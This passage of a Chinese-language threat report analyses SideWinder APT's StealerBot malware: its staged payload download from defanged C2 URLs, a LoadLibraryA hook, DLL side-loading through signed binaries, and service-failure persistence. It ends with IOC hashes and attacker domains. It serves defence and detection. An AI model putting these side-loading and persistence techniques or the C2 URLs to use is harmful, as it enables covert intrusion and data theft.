1<br><br>2<br><br>3 hxxps://nventic[.]info/mod/rnd/214/632/56/w3vfa3BaoAyKPfNnshLHQvQHCaPmqNpNVnZMLxXY/1/1712588158138/bf7dy/111e9a21?name=inpl64<br><br>hxxps://nventic[.]info/mod/rnd/214/632/56/w3vfa3BaoAyKPfNnshLHQvQHCaPmqNpNVnZMLxXY/1/1712588158138/0ywcg/4dfc92c?name=stg64<br><br>hxxps://nventic[.]info/mod/rnd/214/632/56/w3vfa3BaoAyKPfNnshLHQvQHCaPmqNpNVnZMLxXY/1/1712588158138/3ysvj/955da0ae?name=rflr

不幸的是,我们无法从服务器获得有效的响应,但考虑到URL中的“name”变量以及调查期间观察到的各个组件的逻辑,我们可以推断每个“name”值可能也表明了文件的真实用途。

多变的 描述
?名称=inpl64 64 位架构植入
?名称=stg64 适用于 64 位架构的 stager
?名称=rlfr 反射加载器???

下载的数据将组合成最终的有效载荷,其结构如下:

1 stg64 + <size of rlfr+inpl64+8> + rlfr + <delimiter> + inpl64

最后恶意软件将payload加载到内存中并执行,执行方式根据Windows版本选择。

在Windows 10之前的系统上,恶意软件会分配一个具有读写和执行权限的内存区域,将之前生成的payload复制到新的区域,并直接调用第一个地址。

在较新的系统上,恶意软件会分配更大的内存空间,并将位于“.data”部分中的小型 shellcode 添加到最终有效负载的前面。

然后,恶意软件修补内存中的 kernel32 映像并挂钩“LoadLibraryA”函数以将执行流重定向到分配区域中复制的小型 shellcode。

最后,它调用“LoadLibraryA”函数,并传递参数“aepic.dll”。

[用于挂钩 LoadLibrary 并运行有效载荷的逆向代码片段

用于挂钩 LoadLibrary 并运行有效载荷的逆向代码片段

小型shellcode将接收到的参数的前8个字节与静态字符串“aepic.dl”进行比较,如果字节匹配,则跳转到下载的shellcode“stg64”;否则,则跳转到真正的“LoadLibraryA”函数。

[下载器镜像中嵌入的 Shellcode

下载器镜像中嵌入的 Shellcode

安装程序

在调查过程中,我们发现了另外两个组件,它们是用于在系统上部署 StealerBot 的安装程序。我们在感染链中没有观察到它们。它们可能用于安装新版本的恶意软件或在同一台机器的不同环境中部署恶意软件。例如,感染另一个用户。

安装程序有效负载

第一个组件是一个用 C++ 开发的库,充当加载器。代码与 UAC 绕过模块中观察到的“Downloader”组件非常相似。该库包含不同的有效载荷,这些有效载荷在运行时结合在一起并注入远程“spoolsv.exe”进程。

注入的有效载荷反射性地加载一个用 C++ 编写的名为“InstallerPayload.dll”的库,以下载其他组件并通过创建新的 Windows 服务来维持其持久性。

该恶意软件配置为使用 WinHTTP 从预定义的 URL 下载文件。

1<br><br>2 hxxps://pafgovt[.]com/mod/rnd/214/15109/14786/X6HPUSbM5luLGTzAhI12Ly8CfydiP869E<br><br>F0mo673/1/1706084656128/x3l8o/2c821e

使用变量“name”来请求要下载的特定文件,该变量包含在所有 GET 请求中。每个文件都会下载到特定位置:

多变的 目标文件路径
?名称=bp %systemroot%\srclinks%RANDOM_NAME% <br>示例名称:VacPWtys
?名称=ps %systemroot%\srclinks\write.exe <br>或 <br>%systemroot%\srclinks\fsquirt.exe
?名称=dj %systemroot%\srclinks\devobj.dll <br>或 <br>%systemroot%\srclinks\propsys.dll
?名称=v3d %systemroot%\srclinks\vm3dservice.exe
?名称=svh %systemroot%\srclinks\winmm.dll
?名称=fsq %systemroot%\srclinks\write.exe <br>或 <br>%systemroot%\srclinks\fsquirt.exe

具体文件名根据Windows版本的不同而变化。

如果 Windows 版本低于 10240(Windows 10 版本 10240),恶意软件会安装以下文件:

  • %systemroot%\srclinks\write.exe
  • %systemroot%\srclinks\propsys.dll
  • %systemroot%\srclinks\write.exe.config
  • %systemroot%\srclinks\vm3dservice.exe
  • %systemroot%\srclinks\winmm.dll

否则:

  • %systemroot%\srclinks\fsquirt.exe
  • %systemroot%\srclinks\devobj.dll
  • %systemroot%\srclinks\fsquirt.exe.config
  • %systemroot%\srclinks\vm3dservice.exe
  • %systemroot%\srclinks\winmm.dll

该恶意软件还会创建一个名为 “srclink”的新Windows服务,以确保下载的文件能够在系统重启时自动启动。

该服务配置为自动启动并运行以下程序:

1 C:\WINDOWS\srclinks\vm3dservice.exe

该文件是经过 VMware 数字签名的合法程序,被攻击者用来侧载恶意 “winmm.dll”库。

这是一个用 C++ 开发的库,名为 “SyncBotServiceHijack.dll”,它导出位于 system32 目录中的合法“winmm.dll”库通常导出的所有函数。

所有函数都指向一个休眠 10 秒然后引发信号错误并终止执行的函数。

[用于引发错误的指令

用于引发错误的指令

这是攻击者创建的持久性机制的一部分。InstallerPayload 组件创建的恶意 Windows 服务被配置为在服务失败时启动另一个程序。

[Windows 服务属性

Windows 服务属性

我们可以推测攻击者使用此技巧来绕过检测和沙盒技术。

在这种情况下,该服务会启动该恶意软件先前删除的另一个程序:

1 %systemroot%\srclinks\fsquirt.exe

这是一个合法的 Windows 实用程序,提供蓝牙文件传输向导使用的默认 GUI。攻击者可利用此实用程序侧载另一个恶意库 “devobj.dll”,它是后门加载程序模块的一个变体。

InstallerPayload_NET

这是另一个 .NET 库,其执行的操作与前面描述的用 C++ 开发的 InstallerPayload 类似。主要区别在于,该恶意软件将大多数文件嵌入为资源。

图书馆 哈希 描述
devobjLoadAppDllx32 a7aad43a572f44f8c008b9885cf936cf “后门加载模块”被植入 devobj.dll
喷水 ba54013cad72cd79d2b7843602835ed3 经微软签名的合法程序
管理 f840c721e533c05d152d2bc7bf1bc165 劫持Windows服务的程序
显现 d3136d7151f60ec41a370f4743c2983b XML 清单
propsysLoadAppDllx32 56e7d6b5c61306096a5ba22ebbfb454e “后门加载模块”被植入 propsys.dll

与InstallerPayload类似 ,该恶意软件会创建一个启动 Manage.exe 的新服务。Manage.exe是一个简单的程序,它会休眠 20 秒,然后产生异常。

该服务配置为在发生故障时启动另一个程序。第二个程序 “fsquirt.exe”或 “write.exe”是一个合法应用程序,用于侧载恶意库,即 Backdoor 加载器模块组件。

后门加载模块组件要加载的加密文件是使用代码中嵌入的URL从远程服务器下载的:

1 hxxps://split.tyoin[.]biz/7n6at/g3mnr/1691394613799/f0f9e572

接收到的数据存储在一个随机名称且没有扩展名的文件中。

基础设施

攻击者使用 Hostinger、Namecheap 和 Hosting Concepts 作为提供商注册了多个域名。他们通常将恶意软件配置为使用特定子域名与 FQDN 进行通信,这些子域名的名称看似合法,并且可能与目标相关。例如,以下是攻击者使用的一小部分子域名。

  • nextgen[.]paknavy-govpk[.]net
  • premier[.]moittpk[.]org
  • 内阁部门-pk[.]fia-gov[.]com
  • 海军-lk[.]direct888[.]net
  • 斯里兰卡海军[.]lforvk[.]com
  • 吉布提港[.]pmd-office[.]org
  • portdedjibouti[.]航运政策[.]信息
  • mofa-gov-sa[.]direct888[.]net
  • mod-gov-bd[.]direct888[.]net
  • mmcert-org-mm[.]donwloaded[.]com
  • opmcm-gov-np[.]fia-gov[.]net

每个域名及其相关子域名都使用专用 IP 地址进行解析。C2 托管在攻击者专用的 VPS 上,但从不同的提供商处租用的时间很短。攻击者使用不同的服务提供商,但偏好 HZ Hosting、BlueVPS 和 GhostNET。

受害者

SideWinder 针对的是多个国家的实体:孟加拉国、吉布提、约旦、马来西亚、马尔代夫、缅甸、尼泊尔、巴基斯坦、沙特阿拉伯、斯里兰卡、土耳其和阿拉伯联合酋长国。

目标行业包括政府和军事实体、物流、基础设施和电信公司、金融机构、大学和石油贸易公司。攻击者还针对以下国家的外交机构:阿富汗、法国、中国、印度、印度尼西亚和摩洛哥。

归因

我们以中等/高度可信度将这些活动归因于 SideWinder APT 组织

IOCs

Malicious documents

6cf6d55a3968e2176db2bba2134bbe94
c87eb71ff038df7b517644fa5c097eac
8202209354ece5c53648c52bdbd064f0
5cc784afb69c153ab325266e8a7afaf4
3a6916192106ae3ac7e55bd357bc5eee
54aadadcf77dec53b2566fe61b034384
8f83d19c2efc062e8983bce83062c9b6
8e8b61e5fb6f6792f2bee0ec947f1989
86eeb037f5669bff655de1e08199a554
1c36177ac4423129e301c5a40247f180
873079cd3e635adb609c38af71bad702
423e150d91edc568546f0d2f064a8bf1
4a5e818178f9b2dc48839a5dbe0e3cc1

Rtf

26aa30505d8358ebeb5ee15aecb1cbb0
3233db78e37302b47436b550a21cdaf9
8d7c43913eba26f96cd656966c1e26d5
d0d1fba6bb7be933889ace0d6955a1d7
e706fc65f433e54538a3dbb1c359d75f

Lnk

412b6ac53aeadb08449e41dccffb1abe දින සංශෝධන කර ගැනිම .lnk
2f4ba98dcd45e59fca488f436ab13501 Special Envoy Speech at NCA.jpg .lnk

Backdoor Loader

propsys.dll
b69867ee5b9581687cef96e873b775ff
c3ce4094b3411060928143f63701aa2e
e1bdfa55227d37a71cdc248dc9512296
ea4b3f023bac3ad1a982cace9a6eafc3
44dbdd87b60c20b22d2a7926ad2d7bea
7e97cbf25eef7fc79828c033049822af
vsstrace.dll
101a63ecdd8c68434c665bf2b1d3ffc7
d885df399fc9f6c80e2df0c290414c2f
92dd91a5e3dfb6260e13c8033b729e03
515d2d6f91ba4b76847301855dfc0e83
3ede84d84c02aa7483eb734776a20dea
2011658436a7b04935c06f59a5db7161

StealerBot

3a036a1846bfeceb615101b10c7c910e          Orchestrator
47f51c7f31ab4a0d91a0f4c07b2f99d7         Keylogger
f3058ac120a2ae7807f36899e27784ea       Screenshot grabber
0fbb71525d65f0196a9bfbffea285b18          File stealer
1ed7ad166567c46f71dc703e55d31c7a         Live Console
2f0e150e3d6dbb1624c727d1a641e754         RDP Credential Stealer
bf16760ee49742225fdb2a73c1bd83c7         RDP Credential Stealer – Injected library
mscorlib.dll
b3650a88a50108873fc45ad3c249671a       Token Grabber
4c40fcb2a12f171533fc070464db96d1          Credential Phisher – Injected library
eef9c0a9e364b4516a83a92592ffc831         UACBypass

SyncBotServiceHijack.dll

1be93704870afd0b22a4475014f199c3

Service Hijack

f840c721e533c05d152d2bc7bf1bc165 Manage.exe

Backdoor Loader devobj.dll

5718c0d69939284ce4f6e0ce580958df

Domains and IPs

126-com[.]live
163inc[.]com
afmat[.]tech
alit[.]live
aliyum[.]tech
aliyumm[.]tech
asyn[.]info
ausibedu[.]org
bol-south[.]org
cnsa-gov[.]org
colot[.]info
comptes[.]tech
condet[.]org
conft[.]live
dafpak[.]org
decoty[.]tech
defenec[.]net
defpak[.]org
detru[.]info
dgps-govpk[.]co
dgps-govpk[.]com
dinfed[.]co
dirctt88[.]co
dirctt88[.]net
direct888[.]net
direct88[.]co
directt888[.]com
donwload-file[.]com
donwloaded[.]com
donwloaded[.]net
dowmload[.]net
downld[.]net
download-file[.]net
downloadabledocx[.]com
dynat[.]tech
dytt88[.]org
e1ix[.]mov
e1x[.]tech
fia-gov[.]com
fia-gov[.]net
gov-govpk[.]info
govpk[.]info
govpk[.]net
grouit[.]tech
gtrec[.]info
healththebest[.]com
jmicc[.]xyz
kernet[.]info
kretic[.]info
lforvk[.]com
mfa-gov[.]info
mfa-gov[.]net
mfa-govt[.]net
mfacom[.]org
mfagov[.]org
mfas[.]pro
mitlec[.]site
mod-gov-pk[.]live
mofa[.]email
mofagovs[.]org
moittpk[.]net
moittpk[.]org
mshealthcheck[.]live
nactagovpk[.]org
navy-mil[.]co
newmofa[.]com
newoutlook[.]live
nopler[.]live
ntcpak[.]live
ntcpak[.]org
ntcpk[.]info
ntcpk[.]net
numpy[.]info
numzy[.]net
nventic[.]info
office-drive[.]live
pafgovt[.]com
paknavy-gov[.]org
paknavy-govpk[.]info
paknavy-govpk[.]net
pdfrdr-update[.]com
pdfrdr-update[.]info
pmd-office[.]com
pmd-office[.]live
pmd-office[.]org
ptcl-net[.]com
scrabt[.]tech
shipping-policy[.]info
sjfu-edu[.]co
support-update[.]info
tazze[.]co
tex-ideas[.]info
tni-mil[.]com
tsinghua-edu[.]tech
tumet[.]info
u1x[.]co
ujsen[.]net
update-govpk[.]co
updtesession[.]online
widge[.]info

相关文章

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

返回顶部按钮